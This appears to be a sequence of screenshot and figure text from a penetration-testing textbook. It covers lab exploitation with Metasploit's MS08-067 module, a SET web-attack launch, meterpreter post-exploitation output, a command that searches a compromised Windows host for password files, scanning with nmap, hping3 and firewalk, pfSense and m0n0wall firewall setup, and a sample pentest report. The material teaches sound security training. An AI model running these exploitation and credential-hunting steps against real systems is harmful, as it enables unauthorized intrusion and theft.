[*] Attempting to start Apache manually...

Web Server Launched. Welcome to the SET Web Attack.

[+++] Tested on Windows, Linux, and OSX [++]
[++] Apache web server is currently in use for performance. [++]
[++] Moving payload into cloned website.
[++] The site has been moved. SET Web Server is now listening..

[++] Launching the SET Interactive Shell...
set> Port to listen on 14431: |
Chapter 9: Post-Exploitation
Nmap: MAC Address: 00:0C:29:47:1D:4:A4 (VMware)
Nmap: Device type: general purpose
Nmap: Running: Linux 3.x
Nmap: OS CPE: cpe:/o:linux:linux_kernel:3
Nmap: OS details: Linux 3.11 - 3.14
Nmap: Network Distance: 1 hop
Nmap: Nmap scan report for 192.168.75.254
Nmap: Host is up (0.000019s latency).
Nmap: All 100 scanned ports on 192.168.75.254 are filtered
Nmap: MAC Address: 00:50:56:F5:1F:27 (VMware)
Nmap: Too many fingerprints match this host to give specific OS details
Nmap: Network Distance: 1 hop
Nmap: Nmap scan report for 192.168.75.137
Nmap: Host is up (0.000055s latency).
Nmap: All 100 scanned ports on 192.168.75.137 are closed
Nmap: Too many fingerprints match this host to give specific OS details
Nmap: Network Distance: 0 hops
Nmap: OS and service detection performed. Please report any incorrect results at http://nmap.org/submit/.
Nmap: Nmap done: 250 IP addresses (2 hosts up) scanned in 66.11 seconds

Message

Attack Analysis Complete...

You will now see an 'Attack' menu attached to each host in the Targets window.

Happy hunting!

OK
MS08-067 Microsoft Server Service Relative Path Stack Corruption

This module exploits a parsing flaw in the path canonicalization code of NetAPI32.dll through the Server Service. This module is capable of bypassing NX on some operating systems and service packs. The correct target must be used to prevent the Server

<table>
<thead>
<tr>
<th>Option</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>LHOST</td>
<td>192.168.75.156</td>
</tr>
<tr>
<td>LPORT</td>
<td>24351</td>
</tr>
<tr>
<td>RHOST</td>
<td>192.168.75.180</td>
</tr>
<tr>
<td>RPORT</td>
<td>445</td>
</tr>
<tr>
<td>SURFACE</td>
<td>192.168.75.190</td>
</tr>
</tbody>
</table>

Targets: 0 => Automatic Targeting

- Use a reverse connection
- Show advanced options

Launch
meterpreter > sysinfo

Computer   : EASY225
OS      : Windows .NET Server (Build 3700, Service Pack 2).
Architecture : x86
System Language : en_US
Domain       : WORKGROUP
Logged On Users : 3
Meterpreter   : x86/win32

Interface 65539
=============
Name : Intel ( R )
Hardware MAC : 00:50:56:11:22:33
MTU      : 1500
IPv4 Address : 192.168.75.180
IPv4 Netmask : 255.255.255.0

Interface 65540
=============
Name : Intel ( R )
Hardware MAC : 00:0c:29:00:5c:bb
MTU      : 1500
IPv4 Address : 192.168.58.135
IPv4 Netmask : 255.255.255.0
# IPv4 network routes

<table>
<thead>
<tr>
<th>Subnet</th>
<th>Netmask</th>
<th>Gateway</th>
<th>Metric</th>
<th>Interface</th>
</tr>
</thead>
<tbody>
<tr>
<td>0.0.0.0</td>
<td>0.0.0.0</td>
<td>192.168.75.2</td>
<td>10</td>
<td>65539</td>
</tr>
<tr>
<td>127.0.0.0</td>
<td></td>
<td>127.0.0.1</td>
<td>1</td>
<td>1</td>
</tr>
<tr>
<td>192.168.50.0</td>
<td>255.255.255.0</td>
<td>192.168.50.135</td>
<td>10</td>
<td>65530</td>
</tr>
<tr>
<td>192.168.50.135</td>
<td>255.255.255.255</td>
<td>192.168.50.135</td>
<td>10</td>
<td>1</td>
</tr>
<tr>
<td>192.168.50.255</td>
<td>255.255.255.255</td>
<td>192.168.50.135</td>
<td>10</td>
<td>65530</td>
</tr>
<tr>
<td>192.168.75.0</td>
<td>255.255.255.0</td>
<td>192.168.75.180</td>
<td>10</td>
<td>65530</td>
</tr>
<tr>
<td>192.168.75.180</td>
<td>255.255.255.255</td>
<td>192.168.75.180</td>
<td>10</td>
<td>1</td>
</tr>
<tr>
<td>192.168.75.255</td>
<td>255.255.255.255</td>
<td>192.168.75.180</td>
<td>10</td>
<td>65530</td>
</tr>
<tr>
<td>224.0.0.0</td>
<td>240.0.0.0</td>
<td>192.168.50.135</td>
<td>10</td>
<td>65540</td>
</tr>
<tr>
<td>224.0.0.0</td>
<td>240.0.0.0</td>
<td>192.168.75.180</td>
<td>10</td>
<td>65539</td>
</tr>
<tr>
<td>255.255.255.255</td>
<td>255.255.255.255</td>
<td>192.168.50.135</td>
<td>1</td>
<td>65540</td>
</tr>
<tr>
<td>255.255.255.255</td>
<td>255.255.255.255</td>
<td>192.168.75.180</td>
<td>1</td>
<td>65539</td>
</tr>
</tbody>
</table>

# Copyright (c) 1993-1999 Microsoft Corp.
# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.
# This file contains the mappings of IP addresses to host names. Each entry should be kept on an individual line. The IP address should be placed in the first column followed by the corresponding host name. The IP address and the host name should be separated by at least one space.
# Additionally, comments (such as these) may be inserted on individual lines or following the machine name denoted by a `#' symbol.
# For example:
# # 192.54.94.07 rhino.acme.com      # source server
# 30.25.63.10  x.acme.com          # x client host

127.0.0.1    localhost
TCP 192.168.50.135:139   0.0.0.0:0       LISTENING
TCP 192.168.50.135:1034  192.168.50.136:80 ESTABLISHED
TCP 192.168.50.135:1035  192.168.50.136:80 ESTABLISHED
TCP 192.168.75.180:189   0.0.0.0:0       LISTENING
TCP 192.168.75.180:24351 192.168.75.165:54564 ESTABLISHED
UDP 0.0.0.0:53           *:*           *
UDP 0.0.0.0:445          *:*           *
UDP 0.0.0.0:608          *:*           *
UDP 0.0.0.0:1032         *:*           *
UDP 0.0.0.0:1434         *:*           *
UDP 0.0.0.0:3456         *:*           *
UDP 0.0.0.0:4500         *:*           *
UDP 127.0.0.1:53         *:*           *
UDP 127.0.0.1:123        *:*           *
UDP 127.0.0.1:1033       *:*           *
UDP 127.0.0.1:3456       *:*           *
UDP 192.168.50.135:123   *:*           *
UDP 192.168.50.135:137   *:*           *
UDP 192.168.50.135:138   *:*           *

C:s煦 dir c:s煦/b | find /i "password"
C:s煦Program Files煦IAMEI Partition Assistant Lite Edition 5.6煦doc煦password.html
C:s煦Program Files煦Common Files煦Microsoft Shared煦web server extensions煦50煦admisapi煦1033煦password.htm
C:s煦WINDOWS煦Help煦password.chm
Chapter 10: Stealth Techniques
### Virtual Machine Settings

#### Hardware

<table>
<thead>
<tr>
<th>Device</th>
<th>Summary</th>
</tr>
</thead>
<tbody>
<tr>
<td>Memory</td>
<td>1 GB</td>
</tr>
<tr>
<td>Processors</td>
<td>1</td>
</tr>
<tr>
<td>Hard Disk (SCSI)</td>
<td>20 GB</td>
</tr>
<tr>
<td>CD/DVD (SATA)</td>
<td>Auto detect</td>
</tr>
<tr>
<td>Network Adapter</td>
<td>Custom (VMnet3)</td>
</tr>
<tr>
<td>Network Adapter 2</td>
<td>NAT</td>
</tr>
<tr>
<td>USB Controller</td>
<td>Present</td>
</tr>
<tr>
<td>Sound Card</td>
<td>Auto detect</td>
</tr>
<tr>
<td>Printer</td>
<td>Present</td>
</tr>
<tr>
<td>Display</td>
<td>Auto detect</td>
</tr>
</tbody>
</table>

#### Device status
- Connected
- Connect at power on

#### Network connection
- Bridged: Connected directly to the physical network
- NAT: Used to share the host's IP address
- Host-only: A private network shared with the host
- Custom: Specific virtual network
  - VMnet3 (Host-only)
  - LAN segment:

[Add] [Remove] [OK] [Cancel] [Help]
### Virtual Machine Settings

**Device** | **Summary**
--- | ---
Memory | 256 MB
Processors | 1
Hard Disk (SCSI) | 20 GB
CD/DVD (IDE) | Using file C:\Users\INST\Downloads...
Network Adapter | NAT
Network Adapter 2 | Custom (VMnet3)
USB Controller | Present
Sound Card | Auto detect
Display | Auto detect

**Memory**

Specify the amount of memory allocated to this virtual machine. The memory size must be a multiple of 4 MB.

Memory for this virtual machine: 256 MB

- 64 GB
- 32 GB
- 16 GB
- 8 GB
- 4 GB
- 2 GB
- 1 GB
- 512 MB
- 256 MB
- 128 MB
- 64 MB
- 32 MB
- 16 MB
- 8 MB
- 4 MB

- **Maximum recommended memory**
  - (Memory swapping may occur beyond this size.)
  - 26344 MB
- **Recommended memory**
  - 256 MB
- **Guest OS recommended minimum**
  - 32 MB

- **Add...**  **Remove**  **OK**  **Cancel**  **Help**
Configuring firewall......done.
Generating RNW graphs...done.
Starting syslog...done.
Starting CRON...done.
pfSense (pfSense) 2.2.4-RELEASE am064 Sat Jul 25 19:57:37 CDT 2015
Bootup complete

FreeBSD/am064 (pfSense.localdomain) (ttyu0)

--- Welcome to pfSense 2.2.4-RELEASE-pfSense (am064) on pfSense ---

WAN (wan)  ->  om0  ->  vd/DHCPv1: 192.168.75.178/24
LAN (lan)  ->  em1  ->  v4: 192.168.175.5/24
0) Logout (SSH only)  9) pfTop
1) Assign Interfaces  10) Filter Logs
2) Set interface(s) IP address  11) Restart webConfigurator
3) Reset webConfigurator password  12) pfSense Developer Shell
4) Reset to factory defaults  13) Upgrade from console
5) Reboot system  14) Enable Secure Shell (sshd)
6) Halt system  15) Restore recent configuration
7) Ping host  16) Restart PHP-FPM
8) Shell

Enter an option: [ ]

Enter an option: 2

Available interfaces:

1 - WAN (om0 - dhcp, dhcp5)
2 - LAN (em1 - static)

Enter the number of the interface you wish to configure:

Enter the new WAN IPv4 address. Press <ENTER> for none: 
> 192.168.75.10

Subnet masks are entered as bit counts (as in CIDR notation) in pfSense, e.g. 255.255.255.0 = 24
255.255.0.0 = 16
255.0.0.0 = 0

Enter the new WAN IPv4 subnet bit count (1 to 31): 
> 24

For a WAN, enter the new WAN IPv4 upstream gateway address. For a LAN, press <ENTER> for none:
>
Configure IPv6 address WAN interface via DHCP? (y/n) n

Enter the new WAN IPv6 address. Press <ENTER> for none:
> n

Enter the new WAN IPv6 address. Press <ENTER> for none:
>
Do you want to revert to HTTP as the webConfigurator protocol? (y/n) n
For a WAN, enter the new LAN IPv4 upstream gateway address. For a LAN, press <ENTER> for none:

Enter the new LAN IPv4 address. Press <ENTER> for none:

Do you want to enable the DHCP server on LAN? (y/n) y
Enter the start address of the IPv4 client address range: 192.168.101.100
Enter the end address of the IPv4 client address range: 192.168.101.110

Do you want to revert to HTTP as the webConfigurator protocol? (y/n) n
Please wait while the changes are saved to LAN...
Reloading filter...
Reloading routing configuration...
DHCPD...

The IPv4 LAN address has been set to 192.168.101.10/24
You can now access the webConfigurator by opening the following URL in your web browser:

https://192.168.101.10/

Press <ENTER> to continue.

*** Welcome to pfSense 2.2.4-RELEASE-pfSense (amd64) on pfSense ***

WAN (wan) -> eth0 -> IPv4: 192.168.75.10/24
LAN (lan) -> eth1 -> IPv4: 192.168.101.10/24

**Firewall: Rules**

<table>
<thead>
<tr>
<th>ID</th>
<th>Proto</th>
<th>Source</th>
<th>Port</th>
<th>Destination</th>
<th>Port</th>
<th>Gateway</th>
<th>Queue</th>
<th>Schedule</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>*</td>
<td>RFC1918</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>Block private networks</td>
</tr>
<tr>
<td></td>
<td>*</td>
<td>Reserved</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>Block bogen networks</td>
</tr>
</tbody>
</table>

No rules are currently defined for this interface
All incoming connections on this interface will be blocked until you add pass rules.
Click the button to add a new rule.

**Hint:**
Rules are evaluated on a first-match basis (i.e., the action of the first rule to match a packet will be executed). This means that if you use block rules, you'll have to pay attention to the rule order. Everything that isn't explicitly passed is blocked by default.
Firewall: Rules

root@kali:~/Documents# ping 192.168.101.101
64 bytes from 192.168.101.101: icmp_seq=1 ttl=128 time=1.17 ms
64 bytes from 192.168.101.101: icmp_seq=2 ttl=128 time=1.00 ms
64 bytes from 192.168.101.101: icmp_seq=3 ttl=128 time=0.956 ms
^C
--- 192.168.101.101 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2004ms
rtt min/avg/max/mdev = 0.956/1.043/1.174/0.101 ms

root@kali:~/Documents# nmap -sS -T5 192.168.101.101

Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2015-10-19 21:32 EDT
Warning: 192.168.101.101 giving up on port because retransmission cap hit (2)
Nmap scan report for 192.168.101.101
Host is up (1.1s latency).
Not shown: 950 closed ports, 47 filtered ports
PORT STATE SERVICE
80/tcp open  http
139/tcp open  netbios-ssn
445/tcp open  microsoft-ds

Nmap done: 1 IP address (1 host up) scanned in 27.78 seconds
root@kali:~# hping3 -S 192.168.101.101 --scan 1-88
80 ports to scan, use -V to see all the replies
+--------------------------------------------------+
<table>
<thead>
<tr>
<th>port</th>
<th>serv name</th>
<th>flags</th>
<th>ttl</th>
<th>id</th>
<th>win</th>
<th>len</th>
</tr>
</thead>
</table>
+--------------------------------------------------+
 80 http  : .S.A... 128 16920 64240 46
All replies received. Done.
Not responding ports: [ 1 tcpmux ] [ 2 nbp ] [ 3 ] [ 4 echo ] [ 5 ] [ 6 zip ] [ 7 echo ] [ 8 ] [ 9 discard ] [ 10 ] [ 11 systat ] [ 12 ] [ 13 daytime ] [ 14 ] [ 15 netstat ] [ 16 ] [ 17 qotd ] [ 18 msp ] [ 19 chargen ] [ 20 ftp-data ] [ 21 ftp ] [ 22 ssh ] [ 23 telnet ] [ 24 ] [ 25 smtp ] [ 26 ] [ 27 ] [ 28 ] [ 29 ] [ 30 ] [ 31 ] [ 32 ] [ 33 ] [ 34 ] [ 35 ] [ 36 ] [ 37 time ] [ 38 ] [ 39 rlp ] [ 40 ] [ 41 ] [ 42 nameserver ] [ 43 whois ] [ 44 ] [ 45 ] [ 46 ] [ 47 ] [ 48 ] [ 49 tacacs ] [ 50 re-mail-ctrl ] [ 51 ] [ 52 ] [ 53 domain ] [ 54 ] [ 55 ] [ 56 ] [ 57 mtp ] [ 58 ] [ 59 ] [ 60 ] [ 61 ] [ 62 ] [ 63 ] [ 64 ] [ 65 tacacs-ds ] [ 66 ] [ 67 bootps ] [ 68 bootpc ] [ 69 tftp ] [ 70 gopher ] [ 71 ] [ 72 ] [ 73 ] [ 74 ] [ 75 ] [ 76 ] [ 77 rje ] [ 78 ] [ 79 finger ]

root@kali:~# nmap --script=firewalk --traceroute 192.168.101.101

Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2015-10-20 20:49 EDT
Nmap scan report for 192.168.101.101
Host is up (0.0014s latency).
Not shown: 997 filtered ports
PORT STATE SERVICE
21/tcp open  ftp
80/tcp open  http
443/tcp open  https

Host script results:
| firewalk: |
| HOP HOST PROTOCOL BLOCKED PORTS |
| 0 | 192.168.75.173 | tcp | 1,3-4,6-7,9,13,17,19-20 |

TRACEROUTE (using port 80/tcp)
HOP RTT ADDRESS
1  0.74 ms 192.168.75.10
2  1.56 ms 192.168.101.101

Nmap done: 1 IP address (1 host up) scanned in 28.51 seconds
## Status: System logs: Firewall (Dynamic View)

### Last 50 records; Pause: 

<table>
<thead>
<tr>
<th>Act</th>
<th>Time</th>
<th>If</th>
<th>Source</th>
<th>Destination</th>
<th>Proto</th>
</tr>
</thead>
</table>

---

Apache2 Ubuntu Default Page

It works!

---

Potential DNS Rebind attack detected, see http://en.wikipedia.org/wiki/DNS_rebinding
Try accessing the router by IP address instead of by hostname.
<table>
<thead>
<tr>
<th>Act</th>
<th>Time</th>
<th>If</th>
<th>Source</th>
<th>Destination</th>
<th>Proto</th>
</tr>
</thead>
</table>
## Last 39 firewall log entries Max(50)

<table>
<thead>
<tr>
<th>Act</th>
<th>Time</th>
<th>If</th>
<th>Source</th>
<th>Destination</th>
<th>Proto</th>
</tr>
</thead>
</table>
Chapter 11: Data Gathering and Reporting

VIM - Vi IMproved

version 7.4.576
by Bram Moolenaar et al.
Modified by pkg-vim-maintainers@lists.alioth.debian.org
Vim is open source and freely distributable

Become a registered Vim user!
type :help register<Enter> for information

type :q<Enter> to exit
type :help<Enter> or <F1> for on-line help
type :help version7<Enter> for version info
Vim is a very powerful editor that has many commands, too many to explain in a tutor such as this. This tutor is designed to describe enough of the commands that you will be able to easily use Vim as an all-purpose editor.

The approximate time required to complete the tutor is 25-30 minutes, depending upon how much time is spent with experimentation.

ATTENTION:
The commands in the lessons will modify the text. Make a copy of this file to practise on (if you started "vimtutor" this is already a copy).

It is important to remember that this tutor is set up to teach by use. That means that you need to execute the commands to learn them properly. If you only read the text, you will forget the commands!

Now, make sure that your Shift-Lock key is NOT depressed and press the j key enough times to move the cursor so that Lesson 1.1 completely fills the screen.

"/tmp/tutoraGLkgM" 970 lines, 33248 characters
root@kali:/usr/lib/dradis# ./start.sh -h
/usr/lib/dradis/server/vendor/bundle/ruby/2.1.0/gems/RedCloth-4.2.8/lib/redcloth.rb:10:in `<top (required)>': Use RbConfig instead of obsolete and deprecated Config.
/usr/lib/dradis/server/vendor/bundle/ruby/2.1.0/gems/RedCloth-4.2.8/lib/redcloth.rb:10:in `<top (required)>': Use RbConfig instead of obsolete and deprecated Config.
Usage: rails server [mongrel, thin, etc] [options]
   -p, --port=port                      Runs Rails on the specified port.
                                             Default: 3000
   -b, --binding=ip                     Binds Rails to the specified ip.
                                             Default: 0.0.0.0
   -c, --config=file                    Use custom ratchet configuration file
   -d, --daemon                         Make server run as a Daemon.
   -u, --debugger                       Enable ruby-debugging for the server.
   -e, --environment=name               Specifies the environment to run this server under (test/development/production).
                                             Default: development
   -P, --pid=pid                        Specifies the PID file.
                                             Default: tmp/pids/server.pid
   -h, --help                           Show this help message.
Exiting
root@kali:~# ifconfig eth0
eth0 Link encap:Ethernet  HWaddr 00:1c:29:00:11:61
inet addr:192.168.75.165 Bcast:192.168.75.255 Mask:255.255.255.0
NEW ALTERNATIVES PENETRATION TESTING REPORT

FICTIONAL CORPORATION – INTERNAL WEB APPLICATION DEVELOPMENT SERVER
<table>
<thead>
<tr>
<th>Section</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>Fictional Corporation – Internal Web Application Development Server</td>
<td>1</td>
</tr>
<tr>
<td>Executive Summary</td>
<td>3</td>
</tr>
<tr>
<td>Introduction</td>
<td>3</td>
</tr>
<tr>
<td>Alotted Time Frame</td>
<td>3</td>
</tr>
<tr>
<td>Findings</td>
<td>3</td>
</tr>
<tr>
<td>High Level Findings</td>
<td>4</td>
</tr>
<tr>
<td>Medium Level Findings</td>
<td>4</td>
</tr>
<tr>
<td>Low Level Findings</td>
<td>4</td>
</tr>
<tr>
<td>Informational</td>
<td>4</td>
</tr>
<tr>
<td>Network Diagram</td>
<td>5</td>
</tr>
</tbody>
</table>
Example Penetration Testing Report

EXECUTIVE SUMMARY

New Alternatives was selected to perform a penetration test on the web server owned by Fictional Corporation in order to determine and establish the true security posture of the device prior to the application go live date.

INTRODUCTION

All requirements of the previously agreed upon Rules of Engagement (Appendix A) were followed. This document contains specific confidential information relating to the APPDevWebServer located on the 192.168.75.0/24 subnet at 192.168.75.15. New Alternatives Labs had been contacted to establish the true security posture of this machine and if possible gain control over the local system user accounts to escalate privilege. The testing environment emulated the access that would be granted to a typical anonymous user visiting the website from the Internet.

ALLOTTED TIME FRAME

Due to the hectic schedule of the project team and the goal to get the product out to market quickly New Alternatives Research Lab was limited to only 4 hours of actual testing time. During this timeframe we were to gain as much access as possible to the target host.

Testing Window

Start – 01/01/01 9AM CST
Stop – 01/01/01 1PM CST

FINDINGS

We determined that there is at least one critical security issue with APPSevWebServer that allows a potential attacker to completely compromise the host. Had the test allowed for it, we would have been able to use the target system to gain access to the 192.168.50 subnet as well due to the current system configuration of 192.168.75.15 which contains an additional network adapter at 192.168.50.11. A typical attacker would start to perform scans of that network using the target host as the originating machine. This increases the likely hood that other machines on the network would have also been compromised.

There are also several vulnerabilities (4) that we scored as Medium or Low criticality. Due to time constraints we were not able to validate these issues. In addition there was one Informational item that does not directly lead to compromise, but could be used in conjunction with other attacks to make it easier for a malicious attacker or user to penetrate the system in question.
HIGH LEVEL FINDINGS

1) The version of Samba used by APPDevWebServer is out of date and allows for an attacker to completely compromise the system in mere moments using readily available exploit code samples or automated tools.

MEDIUM LEVEL FINDINGS

1) The web application is not protected by a web application firewall.
2) The software installed on APPDevWebServer is not maintained and is generally out of date and needs to be patched on a regular basis

LOW LEVEL FINDINGS

1) There are default application settings that allow a knowledgeable attacker to obtain system information by simply browsing to an unprotected URL.
2) Web application plugin versions indicate that there are known vulnerabilities that could be used to perform a denial of service on the target system.

INFORMATIONAL

1) Web server provides informative error messages that allow possible system enumeration.
After compromising the target host it became apparent that there is another network at 192.168.50.0/24 that was reachable from the host. Due to the constraints in place by the Rule of Engagement documentation we were not permitted to proceed with the most logical second step many attackers in the wild would attempt which is to enumerate the previously unknown network. If 192.168.50.0/24 contains any connectivity to other critical servers it is even more imperative that 192.168.75.15 is completely secured. A full penetration test with all discoverable networks is highly recommended prior to placing this system on the Internet.

DISCOVERED SERVICES

The host at 192.168.75.15 is listening to the following ports:

<table>
<thead>
<tr>
<th>Port</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>80</td>
<td>HTTP Web Server</td>
</tr>
<tr>
<td>443</td>
<td>HTTPS Web Server</td>
</tr>
<tr>
<td>25</td>
<td>SMTP Mail Server</td>
</tr>
</tbody>
</table>

The mail server needs to be properly configured to ensure that it cannot be used to send out unwanted emails. (As an email relay server)
METHODOLOGY USED

Our methodology provides an established mechanism to ascertain the security posture of the network or device. Due to the restrictions in place as per the requesting party, we have bypassed several stages of our standard testing and jumped directly to enumeration followed by exploitation and post-exploitation. As requested in the R2E, we did not perform clean-up activities since the administrators wish to witness the impact and validity of our claims moving forward. Here is a quick review of the process we have followed to completely compromise the target system in a matter of moments:

1) Completed a full nmap scan of the target system. We did not attempt to hide our activities on the network.
2) Determined that there was a web server running on port 80.
3) Determined the known vulnerable version of SAMBA installed on the remote system.
4) Exploited the vulnerability.
5) Used AWK to modify password and give the GAMES account root access.
6) Logged into the machine via SSH using the GAMES account and the credentials we established for it during initial post-exploitation.
7) Fully enumerated the system and files.

DETAILED FINDINGS

Host Name:

IP Addresses:

Services: 80, 443, 25, etc

Vulnerabilities: SAMBA, etc, etc

1 High, 2 Medium, 2 Low, 2 informational

Associated CVE:

Cumulative CVSS Score: 60.3

Suggested Remediation

REMEDIATION

Vulnerability Name and Description

Affected Systems

Suggested Remediation
Chapter 12: Penetration Testing Challenge

---

m0n0wall console setup

1) Interfaces: assign network ports
2) Set up LAN IP address
3) Reset webGUI password
4) Reset to factory defaults
5) Reboot system
6) Ping host

Enter a number: 1

Valid interfaces are:

- em0 00:0c:29:2b:63:41 (up) Intel(R) PRO/1000 Legacy Network Connect...
- em1 00:0c:29:2b:63:4b (up) Intel(R) PRO/1000 Legacy Network Connect...
- em2 00:0c:29:2b:63:55 (up) Intel(R) PRO/1000 Legacy Network Connect...

The interfaces will be assigned as follows:

LAN -> em1
WAN -> em0
OPT1 -> em2

Do you want to enable the DHCP server on LAN? (y/n) n

The LAN IP address has been set to 192.168.50.10/24.
You can now access the webGUI by opening the following URL in your browser:

http://192.168.50.10/

Press ENTER to continue.
webGUI Configuration

Interfaces: Optional 1 (OPT1)

Primary configuration | Secondary IPs
--- | ---
Enable Optional 1 interface

Description: OPT1
Enter a description (name) for the interface here.

IP configuration

Bridge with: none

IP address: 192.168.175.10 / 24

Save

Note:
Be sure to add firewall rules to permit traffic through the interface.

webGUI Configuration

Services: DHCP server

LAN | OPT1

Enable IPv4 DHCP server on OPT1 interface

Deny unknown clients
Only respond to reserved clients listed below.

Subnet: 192.168.175.0
Subnet mask: 255.255.255.0
Available range: 192.168.175.1 - 192.168.175.254
Range: 192.168.175.100 to 192.168.175.150

root@kali:--# traceroute 192.168.175.100
traceroute to 192.168.175.100 (192.168.175.100), 30 hops max, 60 byte packets
1 192.168.50.16 (192.168.50.16) 0.300 ms 0.211 ms 0.240 ms
2 192.168.175.100 (192.168.175.100) 1.496 ms 1.419 ms 1.357 ms
Enter the WAN interface name or 'a' for auto-detection
(em1 em2 em3 em4_vlan1 em1_vlan2 em2_vlan3 em3_vlan4 or a): em0

Enter the LAN interface name or 'a' for auto-detection
NOTE: this enables full Firewalling/NAT mode.
(em1 em2 em3_vlan1 em1_vlan2 em2_vlan3 em3_vlan4 a or nothing if finished): em2

Enter the Optional 1 interface name or 'a' for auto-detection
(em1 em3_vlan1 em1_vlan2 em3_vlan4 a or nothing if finished): em1

Enter the Optional 2 interface name or 'a' for auto-detection
(_em3_vlan1 em1_vlan2 em3_vlan4 a or nothing if finished): em3

Enter the Optional 3 interface name or 'a' for auto-detection
(_vlan1_vlan2_vlan3_vlan4 a or nothing if finished):

The interfaces will be assigned as follows:

WAN → em0
LAN → em2
OPT1 → em1
OPT2 → em3

<table>
<thead>
<tr>
<th>Option</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td>Logout (SSH only)</td>
</tr>
<tr>
<td>1</td>
<td>Assign Interfaces</td>
</tr>
<tr>
<td>2</td>
<td>Set interface(s) IP address</td>
</tr>
<tr>
<td>3</td>
<td>Reset webConfigurator password</td>
</tr>
<tr>
<td>4</td>
<td>Reset to factory defaults</td>
</tr>
<tr>
<td>5</td>
<td>Reboot system</td>
</tr>
<tr>
<td>6</td>
<td>Halt system</td>
</tr>
<tr>
<td>7</td>
<td>Ping host</td>
</tr>
<tr>
<td>8</td>
<td>Shell</td>
</tr>
<tr>
<td>9</td>
<td>pfTop</td>
</tr>
<tr>
<td>10</td>
<td>Filter Logs</td>
</tr>
<tr>
<td>11</td>
<td>Restart webConfigurator</td>
</tr>
<tr>
<td>12</td>
<td>pfSense Developer Shell</td>
</tr>
<tr>
<td>13</td>
<td>Upgrade from console</td>
</tr>
<tr>
<td>14</td>
<td>Enable Secure Shell (sshd)</td>
</tr>
<tr>
<td>15</td>
<td>Restore recent configuration</td>
</tr>
<tr>
<td>16</td>
<td>Restart PHP-FPM</td>
</tr>
</tbody>
</table>

Enter an option: [ ]
## Firewall: Rules

<table>
<thead>
<tr>
<th>ID</th>
<th>Proto</th>
<th>Source</th>
<th>Port</th>
<th>Destination</th>
<th>Port</th>
<th>Gateway</th>
<th>Queue</th>
<th>Schedule</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>*</td>
<td>*</td>
<td>*</td>
<td>*</td>
<td>LAN Address</td>
<td>443</td>
<td>*</td>
<td>*</td>
<td></td>
<td>Anti-Lockout Rule</td>
</tr>
<tr>
<td>IPV4</td>
<td>ICMP</td>
<td>LAN net</td>
<td>*</td>
<td>WAN net</td>
<td>80</td>
<td>*</td>
<td>*</td>
<td>none</td>
<td>ICMP from the WAN to the LAN</td>
</tr>
<tr>
<td>IPV4</td>
<td>TCP/UDP</td>
<td>WAN net</td>
<td>*</td>
<td>LAN net</td>
<td>53</td>
<td>*</td>
<td>*</td>
<td>none</td>
<td>DNS traffic WAN to LAN</td>
</tr>
<tr>
<td>IPV4</td>
<td>TCP</td>
<td>WAN net</td>
<td>*</td>
<td>LAN net</td>
<td>21</td>
<td>*</td>
<td>*</td>
<td>none</td>
<td>FTP traffic WAN to LAN</td>
</tr>
<tr>
<td>IPV4</td>
<td>TCP</td>
<td>WAN net</td>
<td>*</td>
<td>LAN net</td>
<td>443</td>
<td>*</td>
<td>*</td>
<td>none</td>
<td>HTTPS WAN to LAN</td>
</tr>
<tr>
<td>IPV4</td>
<td>TCP</td>
<td>*</td>
<td>*</td>
<td>*</td>
<td>25</td>
<td>*</td>
<td>*</td>
<td>none</td>
<td>SMTP traffic</td>
</tr>
<tr>
<td>IPV4</td>
<td>TCP</td>
<td>WAN net</td>
<td>*</td>
<td>LAN net</td>
<td>80</td>
<td>*</td>
<td>*</td>
<td>none</td>
<td>HTTP WAN to LAN</td>
</tr>
<tr>
<td>IPV4</td>
<td>TCP</td>
<td>*</td>
<td>*</td>
<td>*</td>
<td>23</td>
<td>*</td>
<td>*</td>
<td>none</td>
<td>Telnet traffic</td>
</tr>
<tr>
<td>IPV4</td>
<td>TCP</td>
<td>*</td>
<td>*</td>
<td>*</td>
<td>22</td>
<td>*</td>
<td>*</td>
<td>none</td>
<td>SSH traffic</td>
</tr>
<tr>
<td>IPV4</td>
<td>*</td>
<td>LAN net</td>
<td>*</td>
<td>WAN net</td>
<td>*</td>
<td>*</td>
<td>*</td>
<td>none</td>
<td>Default allow LAN to any rule</td>
</tr>
</tbody>
</table>

### Name | Category | Version | Description
---|---|---|---
Proxy Server with mod_security | Security | 0.1.9 | ModSecurity (Apache 2.2 branch) is a web application firewall that can work either embedded or as a reverse proxy. It provides protection from a range of attacks against web applications and allows for HTTP traffic monitoring, logging and real-time analysis. In addition this package allows URL forwarding which can be convenient for hosting multiple websites behind pfSense using 1 IP address. Package info

snort | Security | 3.2.9.1 | Snort is an open source network intrusion prevention and detection system (IDS/IPS). Combining the benefits of signature, protocol, and anomaly-based inspection. Package info